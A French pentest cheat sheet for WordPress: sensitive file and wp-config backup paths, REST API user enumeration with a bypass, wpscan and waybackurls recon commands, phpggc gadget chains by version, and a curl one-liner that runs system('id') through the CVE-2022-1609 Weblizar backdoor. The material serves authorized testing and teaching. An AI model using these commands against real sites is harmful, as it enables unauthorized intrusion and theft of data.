WordPress

Pentest de site WordPress

Fichiers intéressants

robots.txt
feed
debug.log
readme.html
xmlrpc.php
wp-cron.php
wp-content/uploads
wp-load
wp-signup.php
wp-json
wp-login.php
wp-links-oplm.php
wp-activate.php
wp-blog-header.php
wp-links.php
wp-mail.php
wp-settings.php
wp-trackbar.php
wp-admin-bar.php

Dashboard d'administrateur

wp-admin.php

Fichiers de configuration

.htaccess
wp-config.php

Directory listing

wp-includes [directory]

Backup file

wp-config.bak.php
wp-config,txt
wp-config.zip
wp-config.md
wp-config.php_orig
wp-config.bak

Scans

Voir wpscan et xmlrpc-scan.

🚪Scan de ports / web

Enumération

Utilisateurs

En utilisant le chemin /wp-json/wp/v2/users, il est possible de FUZZ les utilisateurs comme ceci:

/wp-json/wp/v2/users/1

/wp-json/wp/v2/users/2

/wp-json/wp/v2/users/3

/wp-json/wp/v2/users/X

Faire la même chose avec le paramètre author (?author=X)

Si l'accès est bloqué, on peu tenter de le contourner comme ceci:

/wp-json/?rest_route=/wp/v2/users

Si l'un de ces endpoints fonctionne, il est possible d'utiliser les paramètres "per_page" et "page" pour afficher l'ensemble des utilisateurs sur une seule page.

/wp-json/wp/v2/users/?per_page=100&page=1

Tips

Avec API wpscan:

$ wpscan --url https://target.com -e vp --api-token <token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

parfois ce n'est pas nécessaire car le wordpress est directement hébergé sur le répertoire root.

exp:

https://target.com/blog/wp-content

https://target.com/news/articles/wp-content

pour trouver les endpoints intéressant on peut s'aider des excellents outils waybackurls et httpx.

$ waybackurls target.com | grep "wp-content" | httpx -mc 200

On peut aussi utiliser gau, gauplus etc pour plus d'endpoints.

Avec ces informations, on peut alors plus facilement cibler nos recherche dans l'option url de wpscan.

$ wpscan --url https://target.com/path/to/wp-content --wp-content-dir -e vp --api-token <token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

Une fois cela fais, il ne reste plus qu'a analyser le resultat à la recherche de vulnérabilités connues.

Pour exploiter les thèmes, il suffit de changer vp par vt dans la commande.

$ wpscan --url https://target.com/path/to/wp-content --wp-content-dir -e vt --api-token <token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

Evidemment, wpscan n'est pas un outil parfait et il arrive qu'il ne détecte pas tout ce qu'il pourrait détecter, il est donc important de manuellement rechercher plugins et thèmes manuellement à l'aide de la fonctionnalité view-source de votre navigateur.

utilisez view-source de cette manière dans la barre de saisie d'url:

view-source:https://target.com

puis recherchez des mots clés comme "/plugins" ou "/themes" dans différentes pages du site.

Vous pourriez ainsi trouver des éléments auquel d'autres n'auraient peut-être pas pensé et qui pourraient contenir des vulnérabilités.

Unsecure deserialization

Ressource: https://fenrisk.com/publications/blogpost/2023/11/22/gadgets-chain-in-wordpress/

WordPress < 5.5.2 => phpgcc WordPress/WooCommerce/RCE1 et WordPress/WooCommerce/RCE2 (Nécessite le plugin WooCommerce d'installé)

Wordpress < 6.3.5 => phpgcc WordPress/RCE1 (via classe WP_Theme)

WordPress > 6.4 => phpgcc WordPress/RCE2 (via classe WP_HTML_Token)

CVE

CVE-2022-1609

WordPress Weblizar Backdoor (WordPress school management pro premium version < 9.9.7)

Check:

$ curl -s -d 'blowfish=1' -d "blowfish=system('id');" 'http://target.com/wp-json/am-member/license'

vulnerable output:

uid=...gid=...groups=...

Dernière mise à jour